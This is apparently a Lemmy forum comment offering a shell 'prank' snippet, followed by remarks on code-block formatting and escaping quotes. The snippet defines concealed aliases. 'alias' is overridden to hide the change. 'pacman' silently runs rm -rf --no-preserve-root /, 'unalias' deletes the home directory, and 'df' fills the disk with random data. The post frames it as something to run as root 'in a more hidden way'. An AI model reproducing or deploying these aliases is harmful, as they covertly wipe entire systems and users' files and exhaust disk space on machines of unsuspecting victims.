This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.
<span style="color:#323232;">export OLDALIASVALUES=$(alias)
</span><span style="color:#323232;">&& alias alias='echo "${OLDALIASVALUES}"'
</span><span style="color:#323232;">&& alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; pacman'
</span><span style="color:#323232;">&& alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."'
</span><span style="color:#323232;">&& alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; df'
</span>
It’s not perfect, plus I added something extra, but it’s a slight improvement.
Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x. Nevermind, copy-pasted it into glorious Vim, I didn’t escape the single quote in “You’re”.
Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\(ツ)/¯